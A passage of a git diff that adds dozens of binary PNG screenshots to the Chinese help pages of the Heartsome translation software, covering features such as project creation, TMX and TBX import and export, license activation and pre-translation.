b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/close.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/concordance-search-1.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/concordance-search-1.png new file mode 100644 index 0000000..5dc5b86 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/concordance-search-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/concordance-search-2.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/concordance-search-2.png new file mode 100644 index 0000000..0be39ab Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/concordance-search-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/config-xml-converter-1-1.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/config-xml-converter-1-1.png new file mode 100644 index 0000000..cfdb0f1 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/config-xml-converter-1-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/config-xml-converter-1-2.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/config-xml-converter-1-2.png new file mode 100644 index 0000000..1fd5b69 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/config-xml-converter-1-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/config-xml-converter-2-1.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/config-xml-converter-2-1.png new file mode 100644 index 0000000..9eb219f Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/config-xml-converter-2-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/config-xml-converter-2-2.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/config-xml-converter-2-2.png new file mode 100644 index 0000000..0742a65 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/config-xml-converter-2-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/convert-source-to-xliff-1.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/convert-source-to-xliff-1.png new file mode 100644 index 0000000..c915c81 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/convert-source-to-xliff-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/convert-source-to-xliff-2.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/convert-source-to-xliff-2.png new file mode 100644 index 0000000..1278f9a Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/convert-source-to-xliff-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/convert-xliff-to-target-1-1.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/convert-xliff-to-target-1-1.png new file mode 100644 index 0000000..7eafe94 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/convert-xliff-to-target-1-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/convert-xliff-to-target-1-2.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/convert-xliff-to-target-1-2.png new file mode 100644 index 0000000..2b92647 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/convert-xliff-to-target-1-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/convert-xliff-to-target-2.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/convert-xliff-to-target-2.png new file mode 100644 index 0000000..22da578 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/convert-xliff-to-target-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/create-project-1-basic-info.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/create-project-1-basic-info.png new file mode 100644 index 0000000..ee76091 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/create-project-1-basic-info.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/create-project-2-language-pair.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/create-project-2-language-pair.png new file mode 100644 index 0000000..215902d Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/create-project-2-language-pair.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/create-project-3-tm.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/create-project-3-tm.png new file mode 100644 index 0000000..d36313f Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/create-project-3-tm.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/create-project-4-tb.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/create-project-4-tb.png new file mode 100644 index 0000000..59c0a0f Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/create-project-4-tb.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/create-project-5-add-source-file.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/create-project-5-add-source-file.png new file mode 100644 index 0000000..87c50d3 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/create-project-5-add-source-file.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/create-tb-1-basic-info.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/create-tb-1-basic-info.png new file mode 100644 index 0000000..ad0cf15 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/create-tb-1-basic-info.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/create-tb-2-import-tbx.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/create-tb-2-import-tbx.png new file mode 100644 index 0000000..6e07509 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/create-tb-2-import-tbx.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/create-tb-3-import-option.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/create-tb-3-import-option.png new file mode 100644 index 0000000..f9e2eea Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/create-tb-3-import-option.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/create-tm-1-basic-info.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/create-tm-1-basic-info.png new file mode 100644 index 0000000..57ff11b Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/create-tm-1-basic-info.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/create-tm-2-import-tmx.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/create-tm-2-import-tmx.png new file mode 100644 index 0000000..59f31a3 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/create-tm-2-import-tmx.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/create-tm-3-import-option.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/create-tm-3-import-option.png new file mode 100644 index 0000000..eeb01a3 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/create-tm-3-import-option.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/drag-and-drop-file.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/drag-and-drop-file.png new file mode 100644 index 0000000..c6ee591 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/drag-and-drop-file.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/edit-note-1.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/edit-note-1.png new file mode 100644 index 0000000..633147e Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/edit-note-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/edit-note-2.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/edit-note-2.png new file mode 100644 index 0000000..be4ac09 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/edit-note-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/export-project-distribution-1.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/export-project-distribution-1.png new file mode 100644 index 0000000..4362755 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/export-project-distribution-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/export-project-distribution-2.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/export-project-distribution-2.png new file mode 100644 index 0000000..d07924b Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/export-project-distribution-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/export-project-whole-1.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/export-project-whole-1.png new file mode 100644 index 0000000..cc0bf95 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/export-project-whole-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/export-project-whole-2.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/export-project-whole-2.png new file mode 100644 index 0000000..3fda43a Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/export-project-whole-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/export-tbx-1-1.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/export-tbx-1-1.png new file mode 100644 index 0000000..9b93978 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/export-tbx-1-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/export-tbx-1-2.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/export-tbx-1-2.png new file mode 100644 index 0000000..7f63075 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/export-tbx-1-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/export-tbx-2.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/export-tbx-2.png new file mode 100644 index 0000000..ca5b396 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/export-tbx-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/export-tbx-3.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/export-tbx-3.png new file mode 100644 index 0000000..7023949 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/export-tbx-3.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/export-tm-to-tmx-1-1.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/export-tm-to-tmx-1-1.png new file mode 100644 index 0000000..a1afbdf Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/export-tm-to-tmx-1-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/export-tm-to-tmx-1-2.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/export-tm-to-tmx-1-2.png new file mode 100644 index 0000000..8d3d8a6 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/export-tm-to-tmx-1-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/export-tm-to-tmx-2-select-tm.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/export-tm-to-tmx-2-select-tm.png new file mode 100644 index 0000000..b0156f1 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/export-tm-to-tmx-2-select-tm.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/export-tm-to-tmx-3-lang.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/export-tm-to-tmx-3-lang.png new file mode 100644 index 0000000..0ec1e60 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/export-tm-to-tmx-3-lang.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/export-tm-to-tmx-4-filter-rule.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/export-tm-to-tmx-4-filter-rule.png new file mode 100644 index 0000000..af43cc2 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/export-tm-to-tmx-4-filter-rule.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/export-xliff-to-rtf-1.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/export-xliff-to-rtf-1.png new file mode 100644 index 0000000..81b0203 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/export-xliff-to-rtf-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/export-xliff-to-rtf-2.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/export-xliff-to-rtf-2.png new file mode 100644 index 0000000..cda4b1d Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/export-xliff-to-rtf-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/import-project-1.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/import-project-1.png new file mode 100644 index 0000000..e38b904 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/import-project-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/import-project-2.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/import-project-2.png new file mode 100644 index 0000000..ef0124b Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/import-project-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/import-rtf-to-xliff-1.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/import-rtf-to-xliff-1.png new file mode 100644 index 0000000..db21ea2 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/import-rtf-to-xliff-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/import-rtf-to-xliff-2.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/import-rtf-to-xliff-2.png new file mode 100644 index 0000000..c2afaf3 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/import-rtf-to-xliff-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/insert-tag.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/insert-tag.png new file mode 100644 index 0000000..5d3ca10 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/insert-tag.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/insert-term.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/insert-term.png new file mode 100644 index 0000000..4641690 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/insert-term.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/license-activate.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/license-activate.png new file mode 100644 index 0000000..e8aac09 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/license-activate.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/license-activation-type.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/license-activation-type.png new file mode 100644 index 0000000..cbeae30 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/license-activation-type.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/license-deactivate-confirm.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/license-deactivate-confirm.png new file mode 100644 index 0000000..5b9e705 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/license-deactivate-confirm.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/license-deactivate.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/license-deactivate.png new file mode 100644 index 0000000..86108bf Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/license-deactivate.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/license-enter-sn.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/license-enter-sn.png new file mode 100644 index 0000000..e0093a7 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/license-enter-sn.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/license-offline-activate-enter-sn.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/license-offline-activate-enter-sn.png new file mode 100644 index 0000000..93a3a29 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/license-offline-activate-enter-sn.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/license-offline-activate-finish.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/license-offline-activate-finish.png new file mode 100644 index 0000000..0b401cb Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/license-offline-activate-finish.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/license-offline-activate-obtain-code.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/license-offline-activate-obtain-code.png new file mode 100644 index 0000000..5b8b7a4 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/license-offline-activate-obtain-code.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/license-purchase.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/license-purchase.png new file mode 100644 index 0000000..379dc01 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/license-purchase.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/license-reactivate.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/license-reactivate.png new file mode 100644 index 0000000..e1ca091 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/license-reactivate.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/lock-repetition-1.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/lock-repetition-1.png new file mode 100644 index 0000000..7ab13a0 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/lock-repetition-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/lock-repetition-2.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/lock-repetition-2.png new file mode 100644 index 0000000..d0cc258 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/lock-repetition-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/lock-repetition-3.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/lock-repetition-3.png new file mode 100644 index 0000000..bbbdf02 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/lock-repetition-3.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/main-interface.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/main-interface.png new file mode 100644 index 0000000..9956c69 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/main-interface.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/main-menu.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/main-menu.png new file mode 100644 index 0000000..9493c6d Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/main-menu.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/mark-icons-error.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/mark-icons-error.png new file mode 100644 index 0000000..1e10c50 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/mark-icons-error.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/mark-icons-info.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/mark-icons-info.png new file mode 100644 index 0000000..ffa46af Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/mark-icons-info.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/mark-icons-question.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/mark-icons-question.png new file mode 100644 index 0000000..cdd1969 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/mark-icons-question.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/mark-icons-warn.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/mark-icons-warn.png new file mode 100644 index 0000000..309bd44 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/mark-icons-warn.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/merge-segments-1.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/merge-segments-1.png new file mode 100644 index 0000000..97b4e5a Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/merge-segments-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/merge-segments-2.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/merge-segments-2.png new file mode 100644 index 0000000..121facc Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/merge-segments-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/merge-xliff-file-1-1.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/merge-xliff-file-1-1.png new file mode 100644 index 0000000..640256c Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/merge-xliff-file-1-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/merge-xliff-file-1-2.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/merge-xliff-file-1-2.png new file mode 100644 index 0000000..dffe9b5 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/merge-xliff-file-1-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/merge-xliff-file-2.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/merge-xliff-file-2.png new file mode 100644 index 0000000..d81c7ae Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/merge-xliff-file-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/merging-open-1.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/merging-open-1.png new file mode 100644 index 0000000..64b42ba Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/merging-open-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/merging-open-2.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/merging-open-2.png new file mode 100644 index 0000000..9595a3a Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/merging-open-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/minimum_maximum.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/minimum_maximum.png new file mode 100644 index 0000000..77644a6 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/minimum_maximum.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/mt-bing-translator.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/mt-bing-translator.png new file mode 100644 index 0000000..46353fa Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/mt-bing-translator.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/mt-google-translate.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/mt-google-translate.png new file mode 100644 index 0000000..edc4c29 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/mt-google-translate.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/new-project-from-context-menu.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/new-project-from-context-menu.png new file mode 100644 index 0000000..189104e Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/new-project-from-context-menu.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/new-project-from-main-menu.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/new-project-from-main-menu.png new file mode 100644 index 0000000..be72ad0 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/new-project-from-main-menu.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/new-project-from-toolbar.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/new-project-from-toolbar.png new file mode 100644 index 0000000..b1faf96 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/new-project-from-toolbar.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/options-color.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/options-color.png new file mode 100644 index 0000000..536e6a6 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/options-color.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/options-excel.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/options-excel.png new file mode 100644 index 0000000..3cbd8c1 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/options-excel.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/options-framemaker.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/options-framemaker.png new file mode 100644 index 0000000..8b99200 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/options-framemaker.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/options-languages.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/options-languages.png new file mode 100644 index 0000000..b197971 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/options-languages.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/options-network-connections-bypass.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/options-network-connections-bypass.png new file mode 100644 index 0000000..1a58fb8 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/options-network-connections-bypass.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/options-network-connections-proxy.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/options-network-connections-proxy.png new file mode 100644 index 0000000..b598f04 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/options-network-connections-proxy.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/options-network-connections.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/options-network-connections.png new file mode 100644 index 0000000..d269e95 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/options-network-connections.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/options-oo.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/options-oo.png new file mode 100644 index 0000000..9b10573 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/options-oo.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/options-ppt.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/options-ppt.png new file mode 100644 index 0000000..b225eab Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/options-ppt.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/options-project-properties.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/options-project-properties.png new file mode 100644 index 0000000..7e64b5e Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/options-project-properties.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/options-qa.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/options-qa.png new file mode 100644 index 0000000..f89b927 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/options-qa.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/options-tm.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/options-tm.png new file mode 100644 index 0000000..6b88847 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/options-tm.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/pre-translate-1-tm-1.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/pre-translate-1-tm-1.png new file mode 100644 index 0000000..17a7553 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/pre-translate-1-tm-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/pre-translate-1-tm-2.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/pre-translate-1-tm-2.png new file mode 100644 index 0000000..e1b3ab3 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/pre-translate-1-tm-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/pre-translate-2-1.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/pre-translate-2-1.png new file mode 100644 index 0000000..bcd6b1d Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/pre-translate-2-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/pre-translate-2-2.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/pre-translate-2-2.png new file mode 100644 index 0000000..3cccbb1 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/pre-translate-2-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/pre-translate-3-option.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/pre-translate-3-option.png new file mode 100644 index 